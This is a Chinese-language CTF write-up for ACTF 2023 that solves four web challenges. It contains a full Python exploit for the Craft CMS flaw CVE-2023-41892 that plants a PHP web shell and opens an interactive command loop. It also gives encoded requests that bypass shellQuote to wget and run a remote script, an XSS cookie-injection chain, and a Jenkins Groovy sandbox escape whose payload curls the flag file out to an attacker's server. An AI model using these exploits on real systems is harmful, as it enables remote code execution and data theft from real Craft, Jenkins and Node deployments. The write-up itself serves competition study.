2023 ACTF WriteUp
2023-10-30 Write Up

Ave Mujica’s Masquerade

CVE-2021-42740

return String(s).replace(/([A-z]:)?([#!"$&'()*,:;<=>?@\[\\\]^`{|}])/g, '$1\\$2');

利用 A-z 之间的特殊符号 :`something`: 实现 RCE

shellQuote 添加的转义符会被两层反引号恢复(部分特殊符号会失效,需绕开)

payload.sh

cp `ls /flag*` public/s3ven.txt

wget 把 payload.sh 写到目录下

wget <file_server_ip>/payload.sh -O payload.sh

绕过shellQuote

GET /checker?url%3d%3a%60%3a%60wget%24IFS%5chttps%3a%2f%2f%3cfile_server_ip%3e%2fpayload.sh%24IFS%5c-O%24IFS%5cpayload.sh%60%60%3a%23 HTTP/1.1

chmod 给权限

chmod 777 payload.sh

绕过shellQuote

GET /checker?url=%3a%60%3a%60chmod%24IFS%5c777%24IFS%5cpayload.sh%60%60%3a%23 HTTP/1.1

执行 sh

./payload.sh

绕过shellQuote

GET /checker?url=%3a%60%3a%60.%2fpayload.sh%60%60%3a%23 HTTP/1.1

访问 /s3ven.txt 即可获得 flag

craftcms

CVE-2023-41892

先用 Imagick vid:msl 协议写入 shell

再用 PhpManager.php 包含 shell 实现 RCE

浅改一下网上的POC,然后用 python 一把梭

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36"
}

def writePayloadToFile(tmpDir):

    data = {
        "action": "conditions/render",
        "configObject": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}'
    }

    files = {
        "image1": ("poc.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:TEMPDIR/shell.php">
        </image>""".replace("TEMPDIR", tmpDir), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files)

def getTmpUploadDir():

    data = {
        "action": "conditions/render",
        "configObject": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data)

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
   
    match = re.search(pattern1, response.text, re.DOTALL)

    return match.group(1)

def shell(cmd, tmpDir):

    data = {
        "action": "conditions/render",
        "configObject": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"TEMPDIR/shell.php"}]}}'.replace("TEMPDIR", tmpDir),
        "cmd": cmd
    }

    response = requests.post(url, headers=headers, data=data)

    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder ...")
        upload_tmp_dir = getTmpUploadDir()
        tmpDir = "/tmp" if upload_tmp_dir == "<i>no value</i>" else upload_tmp_dir
        print("[-] Write payload to file ...")
        try:
            writePayloadToFile(tmpDir)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd, tmpDir)

easy latex

URL 类可以控制参数生成任意地址,

路径字符串拼接可以控制参数生成任意同源地址

通过相对路径让bot访问 /preview,绕过 VIP 和 CSP 限制

XSS通过 latex.jsbaseURL 实现

关于 HttpOnly 的绕过,构造特定 token,通过 XSS 访问 /vip 路由,让服务端送出Cookie


登录拿token

username: //<host>:<listen_port>
password: md5(username)

XSS脚本

document.cookie = 'token=<token>; expires=Sun, 1 Jan 2024 00:00:00 UTC; path=/'
fetch('/vip', {
    method: "POST",
    credentials: 'same-origin'
});

在 server 上开两个端口,分别用于 listen 和 fileserver,仿照 theme 目录结构,访问/share 路由唤起 bot

/share/..%2fpreview%3ftheme%3d%2f%2f<host>:<fileserver_port>&tex=111

这里 POST 给 /vip 的地址访问不了的话能直接炸靶机

hooks

本题主要是利用 CVE-2018-1000861 实现 Jenkins远程命令执行

实现原理:

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

1. 请求方式更改

由于 GithubGitlab 发送的 Webhooks 请求均为 POST 请求
而如果尝试直接将 Webhooks 以 POST请求 的方式发送至靶机
会得到 Method Not Allowed 的提示

因此需要利用公网 server 来中转请求
POST 请求更改为 GET 请求来让靶机上的 flask server 接收

2. Webhooks 平台选择

由于题目中写的是 Abuse Gitxxb Webhooks,并未指明是使用 Github 还是 Gitlab
但其中只有 Gitlab 的 Webhooks 支持 302 Redirect 请求跟踪
由于需要使用公网 server 的 302 Redirect 来中转请求
因此我们考虑使用 Gitlab 的 Webhooks

3. 中转服务器配置

在中转服务器(需要公网ip)中配置 flask server 来更改请求方式
具体实现代码如下:

from flask import Flask, request, redirect

app = Flask(__name__)

@app.route('/redirect', methods=['POST'])
def redi():
    return redirect('http://<attack_server>:<port>/?redirect_url=http%3A%2F%2Fjenkins%3A8080%2FsecurityRealm%2Fuser%2Fadmin%2FdescriptorByName%2Forg.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript%2FcheckScript%3Fsandbox%3Dtrue%26value%3Dpublic%20class%20x%20%7Bpublic%20x()%7B%22curl%20-X%20POST%20-d%20%40%2Fflag%20http%3A%2F%2F<own_server>:<listen_port>%22.execute()%7D%7D',code=302)

if __name__ == '__main__':
    app.run(debug=True,host="0.0.0.0",port=<webhooks_port>)

4. Gitlab Webhooks 配置

配置 Gitlab Webhooks 链接如下

http://<own_server>:<webhooks_port>/redirect

进行一次 Webhook 测试,即可获得 flag

POST / HTTP/1.1
Host: <own_server>:<listen_port>
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 38
Content-Type: application/x-www-form-urlencoded

flag{85f240c4983a496fac9d5b44daa3149a}